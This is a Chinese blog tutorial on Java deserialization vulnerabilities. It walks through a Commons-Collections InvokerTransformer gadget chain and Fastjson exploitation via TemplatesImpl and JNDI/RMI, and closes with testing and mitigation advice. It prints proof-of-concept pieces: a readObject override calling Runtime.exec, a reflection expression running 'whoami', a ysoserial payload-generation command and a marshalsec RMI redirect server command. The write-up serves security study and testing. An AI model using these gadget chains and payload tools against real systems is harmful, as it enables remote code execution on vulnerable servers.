fastjson jar包_IDEA动态调试(二)——反序列化漏洞(Fastjson)

2881d0f08403a47be99f1b9e21edd6be.png

一、反序列化的原理及特点

1、什么是反序列化

  序列化就是把java类转换成字节流,xml数据、json格式数据等;

  反序列化就是把字节流,xml数据、json格式数据转换回java类。

2、反序列化漏洞的成因

  成因:在把其他格式的数据反序列化成java类的过程中,由于输入可控,导致可以执行其他恶意命令,但追根究底是需要被反序列化的类中重写了readObject方法,且被重写的readObject方法/调用链中被插入了恶意命令。

3、理解漏洞成因

 拿java的原生反序列化方法举例:

1)  正常的反序列化过程

  先序列化,将对象obj序列化,保存序列化后的字节流数据到目录下,然后通过readobject反序列化成对象,通过打印发现反序列化后对象为Step1.deserTest2:

adbb29d72dd4a8f4c56dc3f1e21638b5.png

2) 恶意的反序列化过程

对比一下代码,新增了对于readobject方法的重写代码:

eb19e7712dbb974279036acea5010d04.png

private void readObject(java.io.ObjectInputStream in) throwsIOException,ClassNotFoundException{       in.defaultReadObject();//调用原始的readOject方法       Runtime.getRuntime().exec("calc.exe");       System.out.println("test");    }

我们在反序列化处下一个断点,注意看调用栈,发现在调用readobject时,不是跳转到原生的readobject而是我们重写的readobject方法,这也是java的一个机制,当同一个方法被重写时会优先调用被重写的代码。

12934e903a759511223563d71cd9b016.png

4、总结

  上述案例可说明白反序列的原理,但问题是一般开发不会把Runtime.getRuntime().exec这样的恶意命令执行代码写在反序列化方法里,但是我们可以找一条“反射链”来插入执行恶意命令代码,对于反序列化漏洞的挖掘的过程也就是结合Java的反射机制构造利用链,即readobject()——getRuntime().exec的过程。

二、三方件安全

1Commons-collections

  举例讲解三方件的利用链挖掘过程。

1)  首先模拟一个业务场景,对某个用户可控的文件hello.bin进行反序列化处理,调用的是原生的readObject方法。

  由于代码引入了Commons-collections包,所以我们的目的就是构造出合适的hello.bin文件内容,让其经过Commons-collections整个代码处理后达到执行命令的效果:

4fafb5ac02b0c29fbe61a226cab34fdc.png

2)  创建一个重写类,对readObject进行重写,这里setValue是触发点,下断点跟进去可以了解漏洞原理:

f3c9735afd34f1a9aa77cc62460d064c.png

3)  重点在于ApacheCommons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer:

b6cc785a752903782c6f1a6d5ce0b003.png

   transform方法利用Java的反射机制进行函数调用,传入的参数是input是一个实例化对象,利用这个方法便可以调用任意对象的任意方法(exec)从而执行命令,所以在DeSertPoc类里新建Transformer,最后组成的核心表达式为:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("whoami");

4be6a7c063db92818d93a41ec6b2ee80.png

4)  继续跟进, ChainedTransformer类会对每一个Transformer循环调用InvokerTransformer的transform方法进行反射,可以看到这里对我们新建的Runtime成功进行了反射:

57bfcb4f54c2030385685ecaab7241a4.png

5)  最终被ChainedTransformer触发成功执行命令:

aea6f2e0f23789a128fedb18e54d0f50.png

2、总结

  上述DeSertPoc等代码其实是为了分析Commons-collections反序列化的漏洞原理,实际的测试过程中,如果:

1)发现代码中被反序列化的文件可控;

2)且代码中引用了Commons-collections包。

  便可以使用其作为工具进行攻击,大多数的第三包的漏洞原理和利用办法都是类似的。

如这里的hello.bin可以直接使用ysoserial生成payload进行攻击,和我们自写Poc代码的效果是一样的:

java -jar ysoserial-master-30099844c6-1.jar  CommonsCollections1 calc.exe >hello.ser

0561654d7e83aed643cfeb938023eb5e.png

三、Fastjson

1、什么是Fastjson

    Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。FastJson自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化反序列化的时候会进行一些操作,主要是setter和getter的操作,同样结合一些类的特性造成命令执行。各版本下载地址:

https://repo1.maven.org/maven2/com/alibaba/fastjson/ 

2Fastjson的使用

  研究库的漏洞首先要了解其用法:

1)  序列化方法为JSON.toJSONString,功能是将java代码的字符串转换成json数据,注意如果使用了SerializerFeature.WriteClassName 会多出来了一个 "@type"属性;

2)  反序列化方法为JSON.parse和JSON.parseObject,且包含@type 属性的会被反序列化回Person 类型的对象,没有则会被反序列化成JSONObject 对象。由此可知 @type 是用于在解析 JSON 时指定类的。

3)  JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

b24ecec7d98844bc34dc607581536b75.png

3、反序列化复现

 常见的Poc有两种:TemplateImpl和JNDI方法:

1)基于TemplateImpl

基于TemplateImpl的方法可以直接执行bytecodes。模拟一个漏洞场景:进入parseObject方法的text1参数是用户可控的,为了方便这里直接写入:

29f7b3ee0d9907482fad9ce54426a197.png

  则可写一个包含恶意命令的Test.java ,将其编译后的字节码转成 Base64拼接到JSON 字符串中:

b8553d5347b0be9ca10873e47d77d59e.png

  最后则使用Poc中的 JSON.parseObject 方法将bytecodes解析成 Java 对象,从而执行命令。

2、JNDI

上面的场景很少见,开发很少用到JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)的方式来进行反序列化,更主流的方法是使用JNDI结合ldap或rmi服务进行远程调用。JNDI即Java Namingand Directory Interface,翻译成中文就Java命令和目录接口,在2016年的blackhat大会上web议题重点讲到,细节可查看原文学习seebug上的一篇介绍文章。

1)同上,我们使用一个模拟环境,这里payload为用户输入,经过JSON.parse进行反序列化处理,输入处调用JdbcRowSetImpl这个类,并连接RMI服务器,默认端口1099:

eb9c7baebc6c06723a3194b3dc94c941.png

3)  然后使用神器marshalsec-0.0.3-SNAPSHOT-all.jar新建一个RMI服务器进行监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit

当然也可以自写:

be110c96058ddf63f129ffcc630328d0.png

  意为前端解析json成功后访问的rmi服务器会重定向到web服务器127.0.0.1下。

4)  最后再开启一个HTTP服务,在根目录放一个包含恶意命令Exploit.class文件编译的class文件:

deb0c380308bd70b63fae1ec67923e5d.png

5)最后在执行第一步的Poc类实现json解析,JdbcRowSetImpl类里的setAutoCommit会调用this.connect(),在connect()里通过rmi服务加载远程的方法执行:

672e7f72135286f16e164b206e03ee4d.png

  具体的跟踪链可以在payload输入处下断点跟踪,最终调用链如下:test_autoTypeDeny——parseObject——exec,其他反序列化漏洞也类似如此:

exec:347, Runtime (java.lang)<init>:13, Test (com.l1nk3r.fastjson)newInstance0:-1,NativeConstructorAccessorImpl (sun.reflect)newInstance:62,NativeConstructorAccessorImpl (sun.reflect)newInstance:45,DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor(java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl(sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl(sun.reflect)invoke:498, Method (java.lang.reflect)setValue:80, FieldDeserializer(com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer(com.alibaba.fastjson.parser.deserializer)parseField:722, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:568, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:187, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:183, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser(com.alibaba.fastjson.parser)parse:1327, DefaultJSONParser(com.alibaba.fastjson.parser)deserialze:45, JavaObjectDeserializer(com.alibaba.fastjson.parser.deserializer)parseObject:639, DefaultJSONParser(com.alibaba.fastjson.parser)parseObject:339, JSON(com.alibaba.fastjson)parseObject:302, JSON(com.alibaba.fastjson)test_autoTypeDeny:44, Poc(com.l1nk3r.fastjson)main:50, Poc (com.l1nk3r.fastjson)

4、总结

1)测试

 测试过程中需要关注两点:

A、关注测试的系统代码中。被反序列化操作的数据是否可控:

B、若可控,看系统是否使用了包含已知漏洞的第三方库:

a56f4ed5bf10bacc19577bce6d83bce1.png

  两个因素,一个是输入可控,一个是payload可构造,缺一不可。

就像Fastjson的官方补丁,使用的方案就是config.checkAutoType(typeName)和黑名单列表:

beanutils,commons.collections,rmi等 

2)漏洞挖掘角度

 若是从事第三方件的反序列化0day挖掘工作,则需要对库源码进行分析,定位到反序列化方法,对其调用链进行分析,寻找可反射、可插入恶意代码的gadget。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值